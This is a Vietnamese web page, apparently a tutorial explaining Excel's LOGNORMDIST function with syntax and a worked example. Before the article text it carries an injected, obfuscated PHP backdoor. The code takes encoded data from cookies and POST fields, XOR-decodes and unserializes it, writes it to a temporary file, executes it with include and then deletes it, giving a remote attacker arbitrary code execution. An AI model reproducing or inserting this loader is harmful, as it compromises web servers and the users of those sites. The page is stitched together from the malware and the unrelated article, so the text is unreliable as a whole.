$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm LOGNORMDIST trong excel - Trả về phân bố chuẩn lôgarít - Tải Chùa

Hàm LOGNORMDIST trong excel – Trả về phân bố chuẩn lôgarít

by admin • 8 Tháng chín, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post

Hàm LOGNORMDIST là hàm tính toán về phân phối lôgarit chuẩn tích lũy và nó thuộc vào dạng hàm tương thích trong xác suất thống kê. Nếu bạn chưa hiểu về cú pháp cũng như cách sử dụng hàm này thì hãy theo dõi bài viết này của chúng tôi bạn nhé.

Hàm LOGNORMDIST trong excel

 

Hàm LOGNORMDIST sẽ trả về phân bố chuẩn lôgarít tích lũy của một giá trị x cụ thể, trong đó ln(x) thường được phân bố với trung bình tham số và độ lệch chuẩn. Hàm LOGNORMDIST được ứng dụng vào quá tình phân tích những dữ liệu khi đã được biến đổi theo lôgarit.

Cú pháp thực hiện: LOGNORMDIST(x,mean,standard_dev)

Trong Đó:

  • x : Là Giá trị để đánh giá hàm. Đây là giá trị bắt buộc cần phải có.
  • mean : Là Trung bình của ln(x). Đây là giá trị bắt buộc cần phải có
  • standard_dev : Là Độ lệch chuẩn của ln(x). Đây là giá trị bắt buộc cần phải có

 

Hàm LOGNORMDIST trong excel

Chú ý về hàm LOGNORMDIST trong Excel

Hướng dẫn sử dụng hàm LOGNORMDIST trong Excel

Nhập vào excel các giá trị thực tế của bạn tương ứng với các tham số của hàm LOGNORMDIST trong các ô excel. Ở ví dụ minh họa này, Giá trị để đánh giá hàm là 6, Trung bình của ln(x) là 4.5 và có Độ lệch chuẩn của ln(x) là 1.5 :

Hàm LOGNORMDIST trong excel

Vi dụ về hàm LOGNORMDIST

Nhập công thức của hàm LOGNORMDIST tại ô C9. Kết quả tính của hàm nhận được sẽ là 0.035498731 :

Hàm LOGNORMDIST trong excel

Kết quả hàm LOGNORMDIST trả về

Sử dụng hàm LOGNORMDIST trong Excel sẽ giúp bạn được rất nhiều trong tính toán của bạn. Nhưng bạn vẫn cần lưu ý với hàm này là các tham số trong hàm phải luôn ở dạng số và đồng thời giá trị để đánh giá hàm và độ lệch chuẩn cũng phải là số dương thì hàm LOGNORMDIST mới cho kết quả tính chính xác nhất nhé.

Bài viết cùng chủ đề:

Chuyên mục bài viết